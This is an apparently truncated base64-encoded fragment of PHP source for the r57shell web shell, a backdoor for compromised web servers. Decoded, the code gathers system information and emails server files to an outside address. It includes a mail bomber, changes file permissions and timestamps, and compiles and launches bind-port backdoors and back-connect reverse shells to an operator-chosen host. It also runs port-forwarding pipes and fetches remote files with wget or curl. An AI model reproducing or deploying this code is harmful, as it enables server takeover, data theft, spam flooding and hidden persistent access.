mZGlzazwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9kZiB0aXRsZT1cIlZpZXcgZGYgLWhcIj48Yj5kZiAtaDwvYj48L2E+ICIuJHJiOwp9CgplY2hvICc8L2ZvbnQ+PC90ZD48L3RyPjx0YWJsZT4KPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD4KPHRyPjx0ZCBhbGlnbj1yaWdodCB3aWR0aD0xMDA+JzsKZWNobyAkZm9udDsKCmlmKCR1bml4KXsKZWNobyAnPGZvbnQgY29sb3I9Ymx1ZT48Yj51bmFtZSAtYSA6Jy53cygxKS4nPGJyPnN5c2N0bCA6Jy53cygxKS4nPGJyPiRPU1RZUEUgOicud3MoMSkuJzxicj5TZXJ2ZXIgOicud3MoMSkuJzxicj5pZCA6Jy53cygxKS4nPGJyPnB3ZCA6Jy53cygxKS4nPC9iPjwvZm9udD48YnI+JzsKZWNobyAiPC90ZD48dGQ+IjsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPiI7CmVjaG8oKCFlbXB0eSgkdW5hbWUpKT8od3MoMykuQHN1YnN0cigkdW5hbWUsMCwxMjApLiI8YnI+Iik6KHdzKDMpLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiIpKTsKZWNobyB3cygzKS4kc3lzY3RsLiI8YnI+IjsKZWNobyB3cygzKS5leCgnZWNobyAkT1NUWVBFJykuIjxicj4iOwplY2hvIHdzKDMpLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIjxicj4iOwppZighZW1wdHkoJGlkKSkgeyBlY2hvIHdzKDMpLiRpZC4iPGJyPiI7IH0KZWxzZSBpZihAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRldWlkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpICYmIEBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkKIHsKICRldXNlcmluZm8gID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOwogJGVncm91cGluZm8gPSBAcG9zaXhfZ2V0Z3JnaWQoQHBvc2l4X2dldGVnaWQoKSk7CiBlY2hvIHdzKDMpLid1aWQ9Jy4kZXVzZXJpbmZvWyd1aWQnXS4nICggJy4kZXVzZXJpbmZvWyduYW1lJ10uJyApIGdpZD0nLiRlZ3JvdXBpbmZvWydnaWQnXS4nICggJy4kZWdyb3VwaW5mb1snbmFtZSddLicgKTxicj4nOwogfQplbHNlIGVjaG8gd3MoMykuInVzZXI9Ii5AZ2V0X2N1cnJlbnRfdXNlcigpLiIgdWlkPSIuQGdldG15dWlkKCkuIiBnaWQ9Ii5AZ2V0bXlnaWQoKS4iPGJyPiI7CmVjaG8gd3MoMykuJGRpcjsKZWNobyB3cygzKS4nKCAnLnBlcm1zKEBmaWxlcGVybXMoJGRpcikpLicgKSc7CmVjaG8gIjwvYj48L2ZvbnQ+IjsKfQplbHNlCnsKZWNobyAnPGZvbnQgY29sb3I9Ymx1ZT48Yj5PUyA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPlVzZXIgOicud3MoMSkuJzxicj5wd2QgOicud3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7CmVjaG8gIjwvdGQ+PHRkPiI7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj4iOwplY2hvIHdzKDMpLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiI7CmVjaG8gd3MoMykuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iPGJyPiI7CmVjaG8gd3MoMykuQGdldGVudigiVVNFUk5BTUUiKS4iPGJyPiI7CmVjaG8gd3MoMykuJGRpcjsKZWNobyAiPGJyPjwvZm9udD4iOwp9CmVjaG8gIjwvZm9udD4iOwplY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOwoKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtYWlsIikKIHsKICRyZXMgPSBtYWlsKCRfUE9TVFsndG8nXSwkX1BPU1RbJ3N1YmonXSwkX1BPU1RbJ3RleHQnXSwiRnJvbTogIi4kX1BPU1RbJ2Zyb20nXS4iXHJcbiIpOwogZXJyKDYrJHJlcyk7CiAkX1BPU1RbJ2NtZCddPSIiOwogfQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWxfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnbG9jX2ZpbGUnXSkpCiB7CiAgaWYoJGZpbGU9QGZvcGVuKCRfUE9TVFsnbG9jX2ZpbGUnXSwiciIpKXsgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2xvY19maWxlJ10pKTsgQGZjbG9zZSgkZmlsZSk7IH0KICBlbHNlIGlmICgkZmlsZT1yZWFkemxpYigkX1BPU1RbJ2xvY19maWxlJ10pKSB7ICRmaWxlZHVtcCA9ICRmaWxlOyB9IGVsc2UgeyBlcnIoMSwkX1BPU1RbJ2xvY19maWxlJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9CiAgaWYoaXNzZXQoJF9QT1NUWydjbWQnXSkpCiAgewogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnbG9jX2ZpbGUnXSk7CiAgICAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOwogICAgY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxlZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOwogICAgJGF0dGFjaCA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICJuYW1lIj0+JGZpbGVuYW1lLAogICAgICAgICAgICAgICAgICAgICJ0eXBlIj0+JG1pbWVfdHlwZSwKICAgICAgICAgICAgICAgICAgICAiY29udGVudCI9PiRmaWxlZHVtcAogICAgICAgICAgICAgICAgICAgKTsKICAgIGlmKGVtcHR5KCRfUE9TVFsnc3ViaiddKSkgeyAkX1BPU1RbJ3N1YmonXSA9ICdmaWxlIGZyb20gcjU3c2hlbGwnOyB9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2Zyb20nXSkpIHsgJF9QT1NUWydmcm9tJ10gPSAnYmlsbHlAbWljcm9zb2Z0LmNvbSc7IH0KICAgICRyZXMgPSBtYWlsYXR0YWNoKCRfUE9TVFsndG8nXSwkX1BPU1RbJ2Zyb20nXSwkX1BPU1RbJ3N1YmonXSwkYXR0YWNoKTsKICAgIGVycig2KyRyZXMpOwogICAgJF9QT1NUWydjbWQnXT0iIjsKICB9CiB9CmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ibWFpbF9ib21iZXIiICYmICFlbXB0eSgkX1BPU1RbJ21haWxfZmxvb2QnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbWFpbF9zaXplJ10pKQogewogZm9yKCRoPTE7JGg8PSRfUE9TVFsnbWFpbF9mbG9vZCddOyRoKyspewogICRyZXMgPSBtYWlsKCRfUE9TVFsndG8nXSwkX1BPU1RbJ3N1YmonXSwkX1BPU1RbJ3RleHQnXS5zdHJfcmVwZWF0KCIgIiwgMTAyNCokX1BPU1RbJ21haWxfc2l6ZSddKSwiRnJvbTogIi4kX1BPU1RbJ2Zyb20nXS4iXHJcbiIpOwogfQogZXJyKDYrJHJlcyk7CiAkX1BPU1RbJ2NtZCddPSIiOwogfQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXSA9PSAiZmluZF90ZXh0IikKewokX1BPU1RbJ2NtZCddID0gJ2ZpbmQgJy4kX1BPU1RbJ3NfZGlyJ10uJyAtbmFtZSBcJycuJF9QT1NUWydzX21hc2snXS4nXCcgfCB4YXJncyBncmVwIC1FIFwnJy4kX1BPU1RbJ3NfdGV4dCddLidcJyc7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJjaF8iKQogewogc3dpdGNoKCRfUE9TVFsnd2hhdCddKQogICB7CiAgIGNhc2UgJ293bic6CiAgIEBjaG93bigkX1BPU1RbJ3BhcmFtMSddLCRfUE9TVFsncGFyYW0yJ10pOwogICBicmVhazsKICAgY2FzZSAnZ3JwJzoKICAgQGNoZ3JwKCRfUE9TVFsncGFyYW0xJ10sJF9QT1NUWydwYXJhbTInXSk7CiAgIGJyZWFrOwogICBjYXNlICdtb2QnOgogICBAY2htb2QoJF9QT1NUWydwYXJhbTEnXSxpbnR2YWwoJF9QT1NUWydwYXJhbTInXSwgOCkpOwogICBicmVhazsKICAgfQogJF9QT1NUWydjbWQnXT0iIjsKIH0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpCiB7CiAgIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkKICAgewogICAgIGNhc2UgJ2ZpbGUnOgogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKQogICAgICAgewogICAgICAgaWYoQGZpbGVfZXhpc3RzKCRfUE9TVFsnbWtfbmFtZSddKSB8fCAhJGZpbGU9QGZvcGVuKCRfUE9TVFsnbWtfbmFtZSddLCJ3IikpIHsgZXJyKDIsJF9QT1NUWydta19uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9CiAgICAgICBlbHNlIHsKICAgICAgICBAZmNsb3NlKCRmaWxlKTsKICAgICAgICAkX1BPU1RbJ2VfbmFtZSddID0gJF9QT1NUWydta19uYW1lJ107CiAgICAgICAgJF9QT1NUWydjbWQnXT0iZWRpdF9maWxlIjsKICAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsKICAgICAgICB9CiAgICAgICB9CiAgICAgICBlbHNlIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImRlbGV0ZSIpCiAgICAgICB7CiAgICAgICBpZih1bmxpbmsoJF9QT1NUWydta19uYW1lJ10pKSBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYzJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsKICAgICAgICRfUE9TVFsnY21kJ109IiI7CiAgICAgICB9CiAgICAgYnJlYWs7CiAgICAgY2FzZSAnZGlyJzoKICAgICAgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiY3JlYXRlIil7CiAgICAgIGlmKEBta2RpcigkX1BPU1RbJ21rX25hbWUnXSkpCiAgICAgICB7CiAgICAgICAgICRfUE9TVFsnY21kJ109IiI7CiAgICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjInXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOwogICAgICAgfQogICAgICBlbHNlIHsgZXJyKDIsJF9QT1NUWydta19uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9CiAgICAgIH0KICAgICAgZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUiKXsKICAgICAgaWYoQHJtZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NCddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgICAgICRfUE9TVFsnY21kJ109IiI7CiAgICAgIH0KICAgICBicmVhazsKICAgfQogfQoKCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0idG91Y2giKQp7CmlmKCEkX1BPU1RbJ2ZpbGVfbmFtZV9yJ10pCiB7CiAgJGRhdGFyID0gJF9QT1NUWydkYXknXS4iICIuJF9QT1NUWydtb250aCddLiIgIi4kX1BPU1RbJ3llYXInXS4iICIuJF9QT1NUWydjaGFzaSddLiIgaG91cnMgIi4kX1BPU1RbJ21pbnV0ZXMnXS4iIG1pbnV0ZXMgIi4kX1BPU1RbJ3NlY29uZCddLiIgc2Vjb25kcyI7CiAgJGRhdGFyID0gQHN0cnRvdGltZSgkZGF0YXIpOwogIEB0b3VjaCgkX1BPU1RbJ2ZpbGVfbmFtZSddLCRkYXRhciwkZGF0YXIpO30KZWxzZXsKICBAdG91Y2goJF9QT1NUWydmaWxlX25hbWUnXSxAZmlsZW10aW1lKCRfUE9TVFsnZmlsZV9uYW1lX3InXSksQGZpbGVtdGltZSgkX1BPU1RbJ2ZpbGVfbmFtZV9yJ10pKTsKfQokX1BPU1RbJ2NtZCddPSIiOwp9CgoKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJlZGl0X2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2VfbmFtZSddKSkKIHsKIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwicisiKSkgeyAkZmlsZWR1bXAgPSBAZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnZV9uYW1lJ10pKTsgQGZjbG9zZSgkZmlsZSk7ICRvbmx5X3JlYWQgPSAxOyB9CiBpZigkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwiciIpKSB7ICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydlX25hbWUnXSkpOyBAZmNsb3NlKCRmaWxlKTsgfQogZWxzZSBpZiAoJGZpbGU9cmVhZHpsaWIoJF9QT1NUWydlX25hbWUnXSkpIHsgJGZpbGVkdW1wID0gJGZpbGU7ICRvbmx5X3JlYWQgPSAxOyB9IGVsc2UgeyBlcnIoMSwkX1BPU1RbJ2VfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQogaWYoaXNzZXQoJF9QT1NUWydjbWQnXSkpCiB7CiBlY2hvICR0YWJsZV91cDM7CiBlY2hvICRmb250OwogZWNobyAiPGZvcm0gbmFtZT1zYXZlX2ZpbGUgbWV0aG9kPXBvc3Q+IjsKIGVjaG8gd3MoMykuIjxiPiIuJF9QT1NUWydlX25hbWUnXS4iPC9iPiI7CiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48dGV4dGFyZWEgbmFtZT1lX3RleHQgY29scz0xMjEgcm93cz0yND4iOwogZWNobyBAaHRtbHNwZWNpYWxjaGFycygkZmlsZWR1bXApOwogZWNobyAiPC90ZXh0YXJlYT4iOwogZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZV9uYW1lIHZhbHVlPSIuJF9QT1NUWydlX25hbWUnXS4iPiI7CiBlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kaXIgdmFsdWU9Ii4kZGlyLiI+IjsKIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNtZCB2YWx1ZT1zYXZlX2ZpbGU+IjsKIGVjaG8gKCFlbXB0eSgkb25seV9yZWFkKT8oIjxicj48YnI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDQnXSk6KCI8YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiAiLiRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddLiIgXCI+IikpOwogZWNobyAiPC9kaXY+IjsKIGVjaG8gIjwvZm9udD4iOwogZWNobyAiPC9mb3JtPiI7CiBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOwogZXhpdCgpOwogfQogfQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09InNhdmVfZmlsZSIpCiB7CiAkbXRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsnZV9uYW1lJ10pOwogaWYoKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwidyIpKSAmJiAoIWZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKSkpIHsgZXJyKDAsJF9QT1NUWydlX25hbWUnXSk7IH0KIGVsc2UgewogaWYoJHVuaXgpICRfUE9TVFsnZV90ZXh0J109QHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRfUE9TVFsnZV90ZXh0J10pOwogQGZ3cml0ZSgkZmlsZSwkX1BPU1RbJ2VfdGV4dCddKSBvciBAZnB1dHMoJGZpbGUsJF9QT1NUWydlX3RleHQnXSkgb3IgQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsnZV9uYW1lJ10sJF9QT1NUWydlX3RleHQnXSk7CiBAdG91Y2goJF9QT1NUWydlX25hbWUnXSwkbXRpbWUsJG10aW1lKTsKICRfUE9TVFsnY21kJ109IiI7CiBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ1J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsKIH0KIH0KCgppZiAoIWVtcHR5KCRfUE9TVFsncHJveHlfcG9ydCddKSYmKCRfUE9TVFsndXNlJ109PSJQZXJsIikpCnsKIGNmKCIvdG1wL3ByeHBsIiwkcHJ4X3BsKTsKICRwMj13aGljaCgicGVybCIpOwogJGJsYWggPSBleCgkcDIuIiAvdG1wL3ByeHBsICIuJF9QT1NUWydwcm94eV9wb3J0J10uIiAmIik7CiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBwcnhwbCI7Cn0KaWYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkmJiFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSYmKCRfUE9TVFsndXNlJ109PSJDIikpCnsKIGNmKCIvdG1wL2JkLmMiLCRwb3J0X2JpbmRfYmRfYyk7CiAkYmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9iZCAvdG1wL2JkLmMiKTsKIEB1bmxpbmsoIi90bXAvYmQuYyIpOwogJGJsYWggPSBleCgiL3RtcC9iZCAiLiRfUE9TVFsncG9ydCddLiIgIi4kX1BPU1RbJ2JpbmRfcGFzcyddLiIgJiIpOwogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgYmQiOwp9CmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQp7CiBjZigiL3RtcC9iZHBsIiwkcG9ydF9iaW5kX2JkX3BsKTsKICRwMj13aGljaCgicGVybCIpOwogJGJsYWggPSBleCgkcDIuIiAvdG1wL2JkcGwgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsKICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGJkcGwiOwp9CmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQp7CiBjZigiL3RtcC9iYWNrIiwkYmFja19jb25uZWN0KTsKICRwMj13aGljaCgicGVybCIpOwogJGJsYWggPSBleCgkcDIuIiAvdG1wL2JhY2sgIi4kX1BPU1RbJ2lwJ10uIiAiLiRfUE9TVFsncG9ydCddLiIgJiIpOwogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2lwJ10uIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7Cn0KaWYgKCFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJDIikpCnsKIGNmKCIvdG1wL2JhY2suYyIsJGJhY2tfY29ubmVjdF9jKTsKICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2JhY2tjIC90bXAvYmFjay5jIik7CiBAdW5saW5rKCIvdG1wL2JhY2suYyIpOwogJGJsYWggPSBleCgiL3RtcC9iYWNrYyAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10uIiAmIik7CiAkX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsKfQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkKewogY2YoIi90bXAvZHAiLCRkYXRhcGlwZV9wbCk7CiAkcDI9d2hpY2goInBlcmwiKTsKICRibGFoID0gZXgoJHAyLiIgL3RtcC9kcCAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9ob3N0J10uIiAiLiRfUE9TVFsncmVtb3RlX3BvcnQnXS4iICYiKTsKICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGRwIjsKfQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IkMiKSkKewogY2YoIi90bXAvZHBjLmMiLCRkYXRhcGlwZV9jKTsKICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2RwYyAvdG1wL2RwYy5jIik7CiBAdW5saW5rKCIvdG1wL2RwYy5jIik7CiAkYmxhaCA9IGV4KCIvdG1wL2RwYyAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIiAiLiRfUE9TVFsncmVtb3RlX2hvc3QnXS4iICYiKTsKICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGRwYyI7Cn0KCmlmICghZW1wdHkoJF9QT1NUWydhbGlhcyddKSAmJiBpc3NldCgkYWxpYXNlc1skX1BPU1RbJ2FsaWFzJ11dKSkgeyAkX1BPU1RbJ2NtZCddID0gJGFsaWFzZXNbJF9QT1NUWydhbGlhcyddXTsgfQoKZm9yKCR1cGw9MDskdXBsPD0xNjskdXBsKyspCnsKIGlmKCFlbXB0eSgkSFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZScuJHVwbF1bJ25hbWUnXSkpewogIGlmKCFlbXB0eSgkX1BPU1RbJ25ld19uYW1lJ10pICYmICgkdXBsPT0wKSkgeyAkbmZuID0gJF9QT1NUWyduZXdfbmFtZSddOyB9CiAgZWxzZSB7ICRuZm4gPSAkSFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZScuJHVwbF1bJ25hbWUnXTsgfQogIEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnLiR1cGxdWyd0bXBfbmFtZSddLCRfUE9TVFsnZGlyJ10uIi8iLiRuZm4pCiAgb3IgcHJpbnQoIjxmb250IGNvbG9yPXJlZCBmYWNlPUZpeGVkc3lzPjxkaXYgYWxpZ249Y2VudGVyPkVycm9yIHVwbG9hZGluZyBmaWxlICIuJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnLiR1cGxdWyduYW1lJ10uIjwvZGl2PjwvZm9udD4iKTsKIH0KfQoKaWYgKCFlbXB0eSgkX1BPU1RbJ3dpdGgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtX2ZpbGUnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbG9jX2ZpbGUnXSkpCnsKIHN3aXRjaCgkX1BPU1RbJ3dpdGgnXSkKIHsKIGNhc2UgJ2ZvcGVuJzoKICRkYXRhZmlsZSA9IEBpbXBsb2RlKCIiLCBAZmlsZSgkX1BPU1RbJ3JlbV9maWxlJ10pKTsKIGlmKCRkYXRhZmlsZSkKICB7CiAgICR3X2ZpbGU9QGZvcGVuKCRfUE9TVFsnbG9jX2ZpbGUnXSwid2IiKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpIG9yIGVycigwKTsKICAgaWYoJHdfZmlsZSkKICAgewogICAgQGZ3cml0ZSgkd19maWxlLCRkYXRhZmlsZSkgb3IgQGZwdXRzKCR3X2ZpbGUsJGRhdGFmaWxlKSBvciBAZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydsb2NfZmlsZSddLCRkYXRhZmlsZSk7CiAgICBAZmNsb3NlKCR3X2ZpbGUpOwogICB9CiAgfQogJF9QT1NUWydjbWQnXSA9ICcnOwogYnJlYWs7CiBjYXNlICd3Z2V0JzoKICRfUE9TVFsnY21kJ10gPSB3aGljaCgnd2dldCcpLiIgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiAtTyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsKIGJyZWFrOwogY2FzZSAnZmV0Y2gnOgogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdmZXRjaCcpLiIgLW8gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiAtcCAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIjsKIGJyZWFrOwogY2FzZSAnbHlueCc6CiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2x5bngnKS4iIC1zb3VyY2UgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiA+ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOwogYnJlYWs7CiBjYXNlICdsaW5rcyc6CiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2xpbmtzJykuIiAtc291cmNlICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsKIGJyZWFrOwogY2FzZSAnR0VUJzoKICRfUE9TVFsnY21kJ10gPSB3aGljaCgnR0VUJykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7CiBicmVhazsKIGNhc2UgJ2N1cmwnOgogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdjdXJsJykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIC1vICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOwogYnJlYWs7CiB9Cn0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICgoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX3VwIikgfHwgKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIikpKQogewogbGlzdCgkZnRwX3NlcnZlciwkZnRwX3BvcnQpID0gc3BsaXQoIjoiLCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOwogaWYoZW1wdHkoJGZ0cF9wb3J0KSkgeyAkZnRwX3BvcnQgPSAyMTsgfQogJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QgKCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7CiBpZighJGNvbm5lY3Rpb24pIHsgZX